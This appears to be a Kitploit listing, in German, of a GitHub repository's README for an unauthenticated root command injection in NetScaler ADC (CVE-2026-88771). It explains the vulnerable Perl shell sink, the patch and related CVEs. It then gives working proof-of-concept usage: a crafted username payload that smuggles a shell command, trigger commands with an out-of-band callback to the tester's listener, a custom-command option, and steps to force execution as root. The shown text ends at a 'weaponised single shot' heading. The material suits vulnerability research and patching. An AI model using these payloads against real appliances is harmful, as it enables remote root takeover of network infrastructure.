Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-88771-netscaler — Firmware-Diff-Analyse, Root-Cause-Bericht und funktionierender PoC für die unauthentifizierte NetScaler-ADC-Command-Injection (CVE-2026-88771), die zur Ausführung als root führt. | Kitploit
Tools/GitHubGitHub/craigsblackie/cve-2026-88771-netscaler
Privilege EscalationSchwachstellenanalyseExploitationReverse EngineeringWebanwendungs-ExploitationPapers & ForschungFirmware-Analyse
GitHub

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
craigsblackie/cve-2026-88771-netscaler

cve-2026-88771-netscaler

Firmware-Diff-Analyse, Root-Cause-Bericht und funktionierender PoC für die unauthentifizierte NetScaler-ADC-Command-Injection (CVE-2026-88771), die zur Ausführung als root führt.

Repository anzeigen
111vor 1 MonatNoch nicht geprüft

CVE-2026-88771 — NetScaler ADC Pre-Auth-Befehlsinjektion

Nicht authentifizierte beliebige Befehlsausführung (als root) in Citrix ADC (NetScaler) 14.1-66.59 und 14.1-72.61. Behoben in 14.1-73.37 (und 13.1-64.23). CVSS 9.5, betrifft Standardbereitstellungen, keine zusätzliche Funktion erforderlich.

Dieses Repository enthält die Firmware-Diff-Analyse, die extrahierten verwundbaren Nachweise und einen funktionierenden Proof-of-Concept.

  • Die Schwachstellenkette, erklärt: analysis/CVE-2026-88771_STAGE_BY_STAGE.md
  • Bewertung der Grundursache & Regressionsmatrix: analysis/CVE-2026-88771_ROOT_CAUSE.md
  • PoC (verifiziert funktionierend): poc/ — siehe poc/README.md

Die Schwachstelle in einem Absatz

Ein fehlgeschlagener, nicht authentifizierter Management-Login wird mit dem vom Angreifer kontrollierten Benutzernamen in /var/log/ns.log protokolliert. Der standardmäßig aktivierte Root-Telemetrie-Worker (admautoregd, geliefert im äußeren mastools_scripts.tgz der Firmware) führt regelmäßig /netscaler/ns_monuploadd_err.pl -WR aus. In den verwundbaren Builds leitet dieser Zweig passende Logzeilen durch ein breites grep | sed | awk und interpoliert das Ergebnis unquoted in einen Shell-Befehl:

# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

Ein präparierter Benutzername wie pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died überlebt die Pipeline als Shell-Token NSPPE-00;id>/tmp/pwned;#-unexpectedly, sodass die Backtick-Senke find ... -name NSPPE-00 ausführt, dann id>/tmp/pwned (als root), dann einen #-Kommentar.

Die Kette, Stufe für Stufe

  1. Nicht authentifizierte Eingabe. Der NITRO-API-Handler erlaubt ein nicht authentifiziertes POST an /nitro/v1/config/login (evidence/gui-72.61/admin_ui/nitro/nitro.php); der Browser-Login-Controller reicht username/password unverändert weiter (evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).
  2. Keine Eingabevalidierung. Der JSON-Login-Parser von nsppe prüft lediglich length < 128 für den Benutzernamen — keine Zeichen-Allowlist (Dekompilierung in analysis/nsppe_api_login_799b90.c).
  3. Log-Schreiben. Fehlgeschlagene Logins werden in /var/log/ns.log als CMD_EXECUTED mit dem Benutzernamen im Datensatz protokolliert (Formatter-Dekompilierung: analysis/nsppe_cmdexecuted_decomp.c).
  4. Root-Konsument. Der Auto-Registrierungs-Daemon startet beim Booten (nsstartpe.sh → admautoregd_ctl startup, root) und führt bei seiner ersten Prüfung sowie alle 24 h CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR' über subprocess.Popen aus (evidence/mastools-72.61/scripts/admautoreg/constant.py).
  5. Shell-Senke. Der -WR-Zweig von ns_monuploadd_err.pl interpoliert das aus dem Log stammende Token unquotiert in einen Backtick-Befehl — Befehlsausführung als root, noch vor jeder Prüfung auf die Existenz einer Core-Datei.

Der Fix (14.1-73.37)

Beide Hälften wurden gemeinsam behoben:

  • ns_monuploadd_err.pl ersetzt die Pipeline durch einen strikten Perl-Regex (nur NSPPE-\d{2} + numerische PID) und ruft find über die Listenform open '-|' auf (keine Shell) — siehe evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.
  • Der gesamte admautoregd-Aufrufer wird entfernt: CHECK_PE_FAILURE_CMD, _check_disk_pe_failure(), get_pe_failure_info() sind alle aus dem 73.37-mastools-Paket verschwunden — vergleiche evidence/mastools-72.61/ mit evidence/mastools-73.37/.

Das Bulletin (CTX697096) — verwandte CVEs

CVE-2026-88771 ist eine von acht CVEs im koordinierten Citrix-Bulletin. Laut dem Bulletin und dem öffentlichen watchTowr-Bericht ist die Menge und ihre Einstufung wie folgt:

CVEBeschreibungCVSS 4.0In freier Wildbahn ausgenutzt
CVE-2026-88771Pre-Auth-Command-Injection (dieses Repo) — Standardkonfiguration9.5 CriticalJa
CVE-2026-88772Speicherüberlauf (RCE/DoS) bei aktiviertem DTLS — Standard für VPN vServers9.5 CriticalJa
CVE-2026-88773HTTP-Request-Smuggling — konfigurationsabhängig9.3 CriticalNein
CVE-2026-88774Konfigurationsabhängig7.0 HighNein
CVE-2026-88775Speicherüberlauf — konfigurationsabhängig8.8 HighNein
CVE-2026-88776Speicherüberlauf — konfigurationsabhängig8.8 HighNein
CVE-2026-88777Speicherüberlauf — konfigurationsabhängig8.8 HighNein
CVE-2026-88778Vorhersagbare ISN — behoben durch Aktivierung der Enhanced ISN Generation, nicht allein durch das Upgrade8.8 HighNein

Behobene Releases laut Bulletin (nicht nur die oben genannten 14.1 / 13.1-Paare):

  • ADC / Gateway 14.1-73.37 und später
  • ADC / Gateway 13.1-64.23 und später (13.1-Zweig)
  • ADC 14.1-FIPS 14.1-73.37 FIPS und später
  • ADC 13.1-FIPS / 13.1-NDcPP 13.1-37.279 und später

So führt man den PoC aus

Nur autorisiertes Testen. Die Remote-Seite ist ein einziger nicht authentifizierter HTTPS- POST; der injizierte Befehl läuft später als root, wenn der Telemetrie-Worker als Nächstes seine 24-h-PE-Failure-Prüfung ausführt (ein Neustart der Appliance oder ein Neustart von admautoregd erzwingt dies).

1. Die Injection auslösen (keine lokale Ausführung)

# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example

# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
    --cmd 'id>/tmp/cve88771_ef60f0de46d9'

# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3

Erwarte HTTP 401 — genau der fehlgeschlagene Login schreibt die Audit-Zeile. Dann auf der Appliance (oder durch Warten von bis zu 24 h) den Worker auslösen:

reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart

Überprüfen Sie die Ausführung als root: ls -l /tmp/cve88771_ef60f0de46d9 sollte root:wheel anzeigen.

2. Waffenfähiger Einzelschuss (Host + Befehl als Argumente)

Tool herunterladen